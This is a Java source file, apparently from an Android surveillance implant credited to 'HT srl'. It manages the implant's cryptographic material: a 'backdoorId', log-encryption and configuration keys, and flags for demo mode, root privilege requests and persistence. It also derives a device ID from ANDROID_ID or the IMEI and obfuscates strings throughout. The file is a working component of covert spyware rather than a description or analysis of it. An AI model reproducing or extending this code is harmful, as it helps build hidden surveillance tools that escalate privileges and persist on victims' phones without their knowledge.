/* *********************************************
* Create by : Alberto "Q" Pelliccione
* Company : HT srl
* Project : AndroidService
* Created : 01-dec-2010
**********************************************/
package com.android.dvci.crypto;
import android.content.Context;
import android.os.Build;
import android.provider.Settings.Secure;
import android.telephony.TelephonyManager;
import com.android.dvci.Device;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.Utils;
import com.android.mm.M;
import java.util.Arrays;
// This class should only be read by Device
/**
* The Class Keys.
*/
public class Keys {
private static final String TAG = "Keys"; //$NON-NLS-1$
/**
* The singleton.
*/
private static Keys singleton;
private static int keyLen = 16;
// Subversion
/** The Constant g_Subtype. */
// private static final byte[] subtype = { 'A', 'N', 'D', 'R', 'O', 'I', 'D'
// };
// private static final byte[] g_Subtype = { 'A', 'N', 'D', 'R', 'O', 'I',
// 'D' };
// 20 bytes that uniquely identifies the device (non-static on purpose)
/**
* The g_ instance id.
*/
private static byte[] instanceId;
// 16 bytes that uniquely identifies the backdoor, NULL-terminated
/**
* The Constant g_BackdoorID.
*/
private static byte[] backdoorId;
// AES key used to encrypt logs
/**
* The Constant g_AesKey.
*/
private static byte[] aesKey;
// AES key used to decrypt configuration
/**
* The Constant g_ConfKey.
*/
private static byte[] confKey;
// Challenge key
/**
* The Constant g_Challenge.
*/
private static byte[] challengeKey;
// Demo key
private static byte[] demoMode;
// Privilege key
private static byte[] rootRequest;
// Random seed
private static byte[] randomSeed;
// persistence
private static byte[] persistence;
private static Object keysLock = new Object();
//public String binarypatch = "20b25555f79c5549094bfd867fe75d004871f3854be8323fbb07381cd5777ae4c19f70723db754b7374e697113583c42550a470f87488de5381af20126e4ce0245151800f8038996d800fd987c7666dece748f6df7e98cde7499c1402de334200c9a3f4b098e5f88453fab282e49d3d51b7fd3aed73d6ed786f7792a607db2fb5dece9d005f3bc65272bb171ef7325cdaaa40a85909da0f06c790a2ad445c02eb718be87cb4f48f648f66aab59a4e2cb60841bd89242e1524b1e4273e05036b923bee3e8610843cc7ce18f7022f1da6b93c3971fa48036980a29e8499b1c28a7eb12c36fbe16ed5fce983163756c3b93d39540db88ac27be863542d14af1053b";
//rand[256]
public static byte[] binarypatch = new byte[]{
(byte)0x32, (byte)0x30, (byte)0x62, (byte)0x32, (byte)0x35, (byte)0x35, (byte)0x35, (byte)0x35, (byte)0x66, (byte)0x37, (byte)0x39, (byte)0x63, (byte)0x35, (byte)0x35, (byte)0x34, (byte)0x39, (byte)0x30, (byte)0x39, (byte)0x34, (byte)0x62, (byte)0x66, (byte)0x64, (byte)0x38, (byte)0x36, (byte)0x37, (byte)0x66, (byte)0x65, (byte)0x37, (byte)0x35, (byte)0x64, (byte)0x30, (byte)0x30, (byte)0x34, (byte)0x38, (byte)0x37, (byte)0x31, (byte)0x66, (byte)0x33, (byte)0x38, (byte)0x35, (byte)0x34, (byte)0x62, (byte)0x65, (byte)0x38, (byte)0x33, (byte)0x32, (byte)0x33, (byte)0x66, (byte)0x62, (byte)0x62, (byte)0x30, (byte)0x37, (byte)0x33, (byte)0x38, (byte)0x31, (byte)0x63, (byte)0x64, (byte)0x35, (byte)0x37, (byte)0x37, (byte)0x37, (byte)0x61, (byte)0x65, (byte)0x34, (byte)0x63, (byte)0x31, (byte)0x39, (byte)0x66, (byte)0x37, (byte)0x30, (byte)0x37, (byte)0x32, (byte)0x33, (byte)0x64, (byte)0x62, (byte)0x37, (byte)0x35, (byte)0x34, (byte)0x62, (byte)0x37, (byte)0x33, (byte)0x37, (byte)0x34, (byte)0x65, (byte)0x36, (byte)0x39, (byte)0x37, (byte)0x31, (byte)0x31, (byte)0x33, (byte)0x35, (byte)0x38, (byte)0x33, (byte)0x63, (byte)0x34, (byte)0x32, (byte)0x35, (byte)0x35, (byte)0x30, (byte)0x61, (byte)0x34, (byte)0x37, (byte)0x30, (byte)0x66, (byte)0x38, (byte)0x37, (byte)0x34, (byte)0x38, (byte)0x38, (byte)0x64, (byte)0x65, (byte)0x35, (byte)0x33, (byte)0x38, (byte)0x31, (byte)0x61, (byte)0x66, (byte)0x32, (byte)0x30, (byte)0x31, (byte)0x32, (byte)0x36, (byte)0x65, (byte)0x34, (byte)0x63, (byte)0x65, (byte)0x30, (byte)0x32, (byte)0x34, (byte)0x35, (byte)0x31, (byte)0x35, (byte)0x31, (byte)0x38, (byte)0x30, (byte)0x30, (byte)0x66, (byte)0x38, (byte)0x30, (byte)0x33, (byte)0x38, (byte)0x39, (byte)0x39, (byte)0x36, (byte)0x64, (byte)0x38, (byte)0x30, (byte)0x30, (byte)0x66, (byte)0x64, (byte)0x39, (byte)0x38, (byte)0x37, (byte)0x63, (byte)0x37, (byte)0x36, (byte)0x36, (byte)0x36, (byte)0x64, (byte)0x65, (byte)0x63, (byte)0x65, (byte)0x37, (byte)0x34, (byte)0x38, (byte)0x66, (byte)0x36, (byte)0x64, (byte)0x66, (byte)0x37, (byte)0x65, (byte)0x39, (byte)0x38, (byte)0x63, (byte)0x64, (byte)0x65, (byte)0x37, (byte)0x34, (byte)0x39, (byte)0x39, (byte)0x63, (byte)0x31, (byte)0x34, (byte)0x30, (byte)0x32, (byte)0x64, (byte)0x65, (byte)0x33, (byte)0x33, (byte)0x34, (byte)0x32, (byte)0x30, (byte)0x30, (byte)0x63, (byte)0x39, (byte)0x61, (byte)0x33, (byte)0x66, (byte)0x34, (byte)0x62, (byte)0x30, (byte)0x39, (byte)0x38, (byte)0x65, (byte)0x35, (byte)0x66, (byte)0x38, (byte)0x38, (byte)0x34, (byte)0x35, (byte)0x33, (byte)0x66, (byte)0x61, (byte)0x62, (byte)0x32, (byte)0x38, (byte)0x32, (byte)0x65, (byte)0x34, (byte)0x39, (byte)0x64, (byte)0x33, (byte)0x64, (byte)0x35, (byte)0x31, (byte)0x62, (byte)0x37, (byte)0x66, (byte)0x64, (byte)0x33, (byte)0x61, (byte)0x65, (byte)0x64, (byte)0x37, (byte)0x33, (byte)0x64, (byte)0x36, (byte)0x65, (byte)0x64, (byte)0x37, (byte)0x38, (byte)0x36, (byte)0x66, (byte)0x37, (byte)0x37, (byte)0x39, (byte)0x32, (byte)0x61, (byte)0x36, (byte)0x30, (byte)0x37, (byte)0x64, (byte)0x62, (byte)0x32, (byte)0x66, (byte)0x62,
//(byte)0x35, (byte)0x64, (byte)0x65, (byte)0x63, (byte)0x65, (byte)0x39, (byte)0x64, (byte)0x30, (byte)0x30, (byte)0x35, (byte)0x66, (byte)0x33, (byte)0x62, (byte)0x63, (byte)0x36, (byte)0x35, (byte)0x32, (byte)0x37, (byte)0x32, (byte)0x62, (byte)0x62, (byte)0x31, (byte)0x37, (byte)0x31, (byte)0x65, (byte)0x66, (byte)0x37, (byte)0x33, (byte)0x32, (byte)0x35, (byte)0x63, (byte)0x64, (byte)0x61, (byte)0x61, (byte)0x61, (byte)0x34, (byte)0x30, (byte)0x61, (byte)0x38, (byte)0x35, (byte)0x39, (byte)0x30, (byte)0x39, (byte)0x64, (byte)0x61, (byte)0x30, (byte)0x66, (byte)0x30, (byte)0x36, (byte)0x63, (byte)0x37, (byte)0x39, (byte)0x30, (byte)0x61, (byte)0x32, (byte)0x61, (byte)0x64, (byte)0x34, (byte)0x34, (byte)0x35, (byte)0x63, (byte)0x30, (byte)0x32, (byte)0x65, (byte)0x62, (byte)0x37, (byte)0x31, (byte)0x38, (byte)0x62, (byte)0x65, (byte)0x38, (byte)0x37, (byte)0x63, (byte)0x62, (byte)0x34, (byte)0x66, (byte)0x34, (byte)0x38, (byte)0x66, (byte)0x36, (byte)0x34, (byte)0x38, (byte)0x66, (byte)0x36, (byte)0x36, (byte)0x61, (byte)0x61, (byte)0x62, (byte)0x35, (byte)0x39, (byte)0x61, (byte)0x34, (byte)0x65, (byte)0x32, (byte)0x63, (byte)0x62, (byte)0x36, (byte)0x30, (byte)0x38, (byte)0x34, (byte)0x31, (byte)0x62, (byte)0x64, (byte)0x38, (byte)0x39, (byte)0x32, (byte)0x34, (byte)0x32, (byte)0x65, (byte)0x31, (byte)0x35, (byte)0x32, (byte)0x34, (byte)0x62, (byte)0x31, (byte)0x65, (byte)0x34, (byte)0x32, (byte)0x37, (byte)0x33, (byte)0x65, (byte)0x30, (byte)0x35, (byte)0x30, (byte)0x33, (byte)0x36, (byte)0x62, (byte)0x39, (byte)0x32, (byte)0x33, (byte)0x62, (byte)0x65, (byte)0x65, (byte)0x33, (byte)0x65, (byte)0x38, (byte)0x36, (byte)0x31, (byte)0x30, (byte)0x38, (byte)0x34, (byte)0x33, (byte)0x63, (byte)0x63, (byte)0x37, (byte)0x63, (byte)0x65, (byte)0x31, (byte)0x38, (byte)0x66, (byte)0x37, (byte)0x30, (byte)0x32, (byte)0x32, (byte)0x66, (byte)0x31, (byte)0x64, (byte)0x61, (byte)0x36, (byte)0x62, (byte)0x39, (byte)0x33, (byte)0x63, (byte)0x33, (byte)0x39, (byte)0x37, (byte)0x31, (byte)0x66, (byte)0x61, (byte)0x34, (byte)0x38, (byte)0x30, (byte)0x33, (byte)0x36, (byte)0x39, (byte)0x38, (byte)0x30, (byte)0x61, (byte)0x32, (byte)0x39, (byte)0x65, (byte)0x38, (byte)0x34, (byte)0x39, (byte)0x39, (byte)0x62, (byte)0x31, (byte)0x63, (byte)0x32, (byte)0x38, (byte)0x61, (byte)0x37, (byte)0x65, (byte)0x62, (byte)0x31, (byte)0x32, (byte)0x63, (byte)0x33, (byte)0x36, (byte)0x66, (byte)0x62, (byte)0x65, (byte)0x31, (byte)0x36, (byte)0x65, (byte)0x64, (byte)0x35, (byte)0x66, (byte)0x63, (byte)0x65, (byte)0x39, (byte)0x38, (byte)0x33, (byte)0x31, (byte)0x36, (byte)0x33, (byte)0x37, (byte)0x35, (byte)0x36, (byte)0x63, (byte)0x33, (byte)0x62, (byte)0x39, (byte)0x33, (byte)0x64, (byte)0x33, (byte)0x39, (byte)0x35, (byte)0x34, (byte)0x30, (byte)0x64, (byte)0x62, (byte)0x38, (byte)0x38, (byte)0x61, (byte)0x63, (byte)0x32, (byte)0x37, (byte)0x62, (byte)0x65, (byte)0x38, (byte)0x36, (byte)0x33, (byte)0x35, (byte)0x34, (byte)0x32, (byte)0x64, (byte)0x31, (byte)0x34, (byte)0x61, (byte)0x66, (byte)0x31, (byte)0x30, (byte)0x35, (byte)0x33, (byte)0x62
};
/**
* Self.
*
* @return the keys
*/
public static Keys self() {
if (singleton == null) {
synchronized (keysLock) {
if (singleton == null) {
if (Cfg.DEBUGKEYS) {
Check.log(TAG + " Using binary patched keys");
}
singleton = new Keys(true);
}
}
}
return singleton;
}
protected Keys(boolean fromResources) {
if (Cfg.DEBUGKEYS) {
Check.log(TAG + " keys " + fromResources);
}
String androidId = Secure.getString(Status.getAppContext().getContentResolver(), Secure.ANDROID_ID);
if (androidId == null) {
androidId = "EMPTY";
}
//20.0=9774d56d682e549c M.d("9774d56d682e549c")
if (M.e("9774d56d682e549c").equals(androidId) && !Device.self().isSimulator()) { //$NON-NLS-1$
// http://code.google.com/p/android/issues/detail?id=10603
// http://stackoverflow.com/questions/2785485/is-there-a-unique-android-device-id
final TelephonyManager telephonyManager = (TelephonyManager) Status.getAppContext().getSystemService(
Context.TELEPHONY_SERVICE);
final String imei = telephonyManager.getDeviceId();
androidId = imei;
}
if (Cfg.DEBUGKEYS) {
Check.log(TAG + " (Keys), androidId: " + androidId);
}
instanceId = Digest.SHA1(androidId.getBytes());
if (fromResources) {
final byte[] resource = Utils.getAsset(M.e("rb.data")); // resources.bin
// Richiediamo 16 byte ma incrementiamo di 32, e' corretto cosi
// perche'
// ci servono solo 16 byte
backdoorId = ByteArray.copy(resource, 0, 14); // 14 byte
aesKey = ByteArray.copy(resource, 14, 16); // 16 byte
confKey = ByteArray.copy(resource, 46, 16); // 16 byte
challengeKey = ByteArray.copy(resource, 78, 16); // 16 byte
demoMode = ByteArray.copy(resource, 110, 24); // 24 byte
rootRequest = ByteArray.copy(resource, 134, 16); // 16 byte
randomSeed = ByteArray.copy(resource, 150, 16); // 16 byte
persistence = ByteArray.copy(resource, 182, 16); // 16 byte
if (Cfg.DEBUG) {
Check.log(TAG + " backdoorId: " + new String(backdoorId));//$NON-NLS-1$
Check.log(TAG + " aesKey: " + ByteArray.byteArrayToHex(aesKey));//$NON-NLS-1$
Check.log(TAG + " confKey: " + ByteArray.byteArrayToHex(confKey));//$NON-NLS-1$
Check.log(TAG + " challengeKey: " + ByteArray.byteArrayToHex(challengeKey));//$NON-NLS-1$
Check.log(TAG + " instanceId: " + ByteArray.byteArrayToHex(instanceId));//$NON-NLS-1$
Check.log(TAG + " demoMode: " + ByteArray.byteArrayToHex(demoMode));//$NON-NLS-1$
Check.log(TAG + " rootMode: " + ByteArray.byteArrayToHex(rootRequest));//$NON-NLS-1$
Check.log(TAG + " randomSeed: " + ByteArray.byteArrayToHex(randomSeed));//$NON-NLS-1$
Check.log(TAG + " persistence: " + ByteArray.byteArrayToHex(persistence));//$NON-NLS-1$
}
if (isDemo() || Cfg.DEBUG) {
Cfg.DEMO = true;
}
if (isPersistent()) {
Cfg.PERSISTENCE = true;
}
if (Cfg.PERSISTENCE) {
Status.setPersistencyStatus(Status.PERSISTENCY_STATUS_TO_INSTALL);
} else {
Status.setPersistencyStatus(Status.PERSISTENCY_STATUS_NOT_REQUIRED);
}
if (Build.BOARD.equals(M.e("BLACKBERRY"))) {
Cfg.BLACKBERRY = true;
}
}
}
public boolean isPersistent() {
// o5wp2Izl8jTwr8hf md5 = 92c5784a9b14780df0b109df7c2a171a
if (Cfg.FORCE_NO_PERSISTENCE) {
return false;
}
byte[] digest = ByteArray.hexStringToByteArray(M.e("92c5784a9b14780df0b109df7c2a171a"));
byte[] calculated = Digest.MD5(persistence);
boolean ret = Arrays.equals(calculated, digest);
if (Cfg.DEBUG) {
Check.log(TAG + " persistence = " + ByteArray.byteArrayToHex(persistence));
Check.log(TAG + " digest = " + ByteArray.byteArrayToHex(calculated));
Check.log(TAG + " (isPersistence): " + ret); //$NON-NLS-1$
}
return ret;
}
public boolean isDemo() {
if (Cfg.FORCE_NODEMO) {
return false;
}
// Pg-WaVyPzMMMMmGbhP6qAigT md5= 863d9effe70187254d3c5e9c76613a99
byte[] digest = ByteArray.hexStringToByteArray(M.e("863d9effe70187254d3c5e9c76613a99"));
byte[] calculated = Digest.MD5(demoMode);
boolean ret = Arrays.equals(calculated, digest);
if (Cfg.DEBUG) {
Check.log(TAG + " demoMode = " + ByteArray.byteArrayToHex(demoMode));
Check.log(TAG + " digest = " + ByteArray.byteArrayToHex(calculated));
Check.log(TAG + " (isDemo): " + ret); //$NON-NLS-1$
}
return ret;
}
public boolean wantsPrivilege() {
byte[] rootDigest = new byte[]{(byte) 0x3e, (byte) 0x96, (byte) 0xb7, (byte) 0x82, (byte) 0x7e, (byte) 0x89,
(byte) 0xda, (byte) 0xbc, (byte) 0xb5, (byte) 0x6c, (byte) 0xd3, (byte) 0x34, (byte) 0xfb, (byte) 0x70,
(byte) 0xb8, (byte) 0xba};
byte[] calculated = Digest.MD5(getRootRequest());
boolean ret = Arrays.equals(calculated, rootDigest);
if (Cfg.FORCE_ROOT) {
ret = true;
}
if (Cfg.DEBUG) {
Check.log(TAG + " (wantsPrivilege MD5): " + ByteArray.byteArrayToHex(calculated)); //$NON-NLS-1$
Check.log(TAG + " (wantsPrivilege): " + ret); //$NON-NLS-1$
}
return ret;
}
protected byte[] getRootRequest() {
return rootRequest;
}
/**
* Check. for been binary patched. //$NON-NLS-1$
*
* @return true, if successful
*/
public boolean hasBeenBinaryPatched() {
//String binary = binarypatch.substring(0,16);
byte binary = binarypatch[0];
// EMp7Ca7-fpOBIr md5=b1688ffaaaafd7c1cab52e630b53178f
byte[] bDigest = ByteArray.hexStringToByteArray(M.e("b1688ffaaaafd7c1cab52e630b53178f"));
byte[] calculated = Digest.MD5(backdoorId);
if (Cfg.DEBUG) {
Check.log(TAG + " (hasBeenBinaryPatched) calculated MD5: " + ByteArray.byteArrayToHex(calculated));
}
boolean ret = !Arrays.equals(calculated, bDigest);
return ret;
}
/**
* Gets the aes key.
*
* @return the aes key
*/
public byte[] getAesKey() {
return aesKey;
}
/**
* Gets the challenge key.
*
* @return the challenge key
*/
public byte[] getChallengeKey() {
return challengeKey;
}
/**
* Gets the conf key.
*
* @return the conf key
*/
public byte[] getConfKey() {
return confKey;
}
/**
* Gets the instance id.
*
* @return the instance id
*/
public byte[] getInstanceId() {
return instanceId;
}
/**
* Gets the builds the id.
*
* @return the builds the id
*/
public byte[] getBuildId() {
return backdoorId;
}
/**
* Gets the subtype.
*
* @return the subtype
*/
static public byte[] getSubtype() {
String board = M.e("ANDROID");
if (Build.BOARD.equals(M.e("BLACKBERRY"))) {
board = M.e("BLACKBERRY");
}
if (Cfg.DEMO) {
// 20.1=DEMO
board += M.e("-DEMO");
}
return board.getBytes();
}
private static byte[] keyFromString(byte[] resource, int from, int len) {
final byte[] res = ByteArray.copy(resource, from, len);
byte[] ret = keyFromString(new String(res));
if (ret == null) {
return ByteArray.copy(resource, from, 16);
} else {
return ret;
}
}
private static byte[] keyFromString(final String string) {
try {
final byte[] array = new byte[keyLen];
for (int pos = 0; pos < keyLen; pos++) {
final String repr = string.substring(pos * 2, pos * 2 + 2);
array[pos] = (byte) Integer.parseInt(repr, 16);
}
return array;
} catch (final Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
return null;
}
}
public boolean enabled() {
if (Cfg.BLACKBERRY) {
return false;
} else {
return true;
}
}
}